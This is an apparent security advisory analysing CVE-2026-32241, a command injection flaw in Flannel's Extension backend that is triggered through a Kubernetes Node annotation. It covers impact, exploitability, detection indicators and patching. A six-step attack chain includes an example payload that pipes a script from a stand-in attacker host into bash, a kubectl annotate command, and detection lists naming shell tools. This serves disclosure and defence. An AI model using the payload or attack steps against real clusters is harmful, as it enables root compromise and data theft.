CVE-2026-32241: 
NixOS vulnerability analysis and mitigation

CVE-2026-32241 is a command injection vulnerability in Flannel's experimental Extension backend, a network fabric for Kubernetes. It affects all Flannel versions prior to v0.28.2 and allows an attacker with the ability to set Kubernetes Node annotations to achieve root-level arbitrary command execution on every Flannel node in the cluster. The vulnerability was disclosed on March 27, 2026, and was reported by Shachar Tal from Palo Alto Networks. It carries a CVSS v3.1 base score of 8.8 (High) per NVD/Feedly data, or 7.5 (High) per the GitHub Security Advisory (GitHub Advisory, Feedly).

The root cause is improper neutralization of special elements used in a command (CWE-77 — Command Injection). The Extension backend's SubnetAddCommand and SubnetRemoveCommand receive attacker-controlled data via stdin, sourced from the flannel.alpha.coreos.com/backend-data Kubernetes Node annotation. This annotation content is unmarshalled and piped directly to a shell command without any sanitization or validation, enabling injection of arbitrary shell commands. Exploitation requires low privileges (the ability to write Kubernetes Node annotations) and no user interaction, making it accessible to any cluster user or service account with sufficient RBAC permissions (GitHub Advisory).

Successful exploitation grants root-level arbitrary command execution on every Flannel node running the Extension backend in the affected Kubernetes cluster. This results in complete compromise of all affected nodes — attackers can read sensitive data (including secrets and credentials), modify cluster configurations, disrupt cluster operations, and potentially pivot to other workloads or infrastructure. Only clusters using the experimental Extension backend are affected; clusters using vxlan or wireguard backends are not vulnerable (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.00174, indicating a low probability of exploitation in the near term. However, the low attack complexity and the cluster-wide blast radius make it a high-priority issue for affected deployments.

1. Reconnaissance: Identify a Kubernetes cluster running Flannel with the experimental Extension backend enabled. This can be determined by inspecting Flannel's configuration (e.g., the net-conf.json ConfigMap in the kube-flannel namespace) for "Type": "extension".
2. Obtain low-privilege access: Acquire credentials for a Kubernetes user or service account with permission to write or patch Node annotations (e.g., via a compromised pod, misconfigured RBAC, or stolen credentials).
3. Craft malicious annotation: Construct a payload to inject into the flannel.alpha.coreos.com/backend-data Node annotation. For example, embed a shell command such as ; curl http://attacker.com/shell.sh | bash; within the JSON value that Flannel will unmarshal and pipe to the shell.
4. Set the annotation: Use kubectl annotate node <node-name> flannel.alpha.coreos.com/backend-data='<malicious-payload>' or the Kubernetes API to apply the crafted annotation to one or more nodes.
5. Trigger execution: Wait for or trigger a subnet add/remove event on the affected node, causing Flannel's Extension backend to invoke SubnetAddCommand or SubnetRemoveCommand with the attacker-controlled stdin data, executing the injected command as root.
6. Achieve root RCE: The injected command executes with root privileges on every Flannel node processing the annotation, enabling reverse shell establishment, credential harvesting, or further lateral movement (GitHub Advisory, Feedly).

• Kubernetes API / Logs: Unexpected modifications to the flannel.alpha.coreos.com/backend-data Node annotation, especially values containing shell metacharacters (;, |, $(), backticks, &&) or encoded payloads; audit log entries showing annotation patches from unusual users or service accounts.
• Process: Unusual child processes spawned by the Flannel process (e.g., bash, sh, curl, wget, python, nc) on cluster nodes; processes running as root that are not expected from normal Flannel operation.
• Network: Unexpected outbound connections from Flannel nodes to external IPs or domains, particularly shortly after Node annotation changes; DNS queries for attacker-controlled domains from cluster nodes.
• File System: New or modified files in system directories (e.g., /tmp, /var/tmp, cron directories) created by the Flannel process or its children; presence of web shells, reverse shell scripts, or unauthorized SSH keys.
• Logs: Flannel daemon logs showing execution of unexpected commands via the Extension backend's SubnetAddCommand or SubnetRemoveCommand handlers (GitHub Advisory).

The vulnerability is fixed in Flannel version v0.28.2, released March 27, 2026. All users running Flannel with the Extension backend should upgrade immediately (Flannel Release). As an immediate workaround, switch to a non-vulnerable backend such as vxlan or wireguard instead of the Extension backend. Additionally, implement strict Kubernetes RBAC controls to limit which users and service accounts can modify Node annotations, reducing the attack surface even before patching (GitHub Advisory, Feedly).

The vulnerability was credited to Shachar Tal from Palo Alto Networks, who reported it responsibly to the Flannel maintainers (GitHub Advisory). Community discussion appeared on Reddit's r/kubernetes under the title "CVE-2026-32241 Flannel RCE via Node Annotation," and technical write-ups were published on dev.to highlighting the unsanitized Node annotation attack path. Microsoft also acknowledged the vulnerability in their Security Response Center, as it affects their Azure Linux (azl3) Flannel package (Microsoft MSRC). OpenSUSE issued a security announcement for affected packages as well.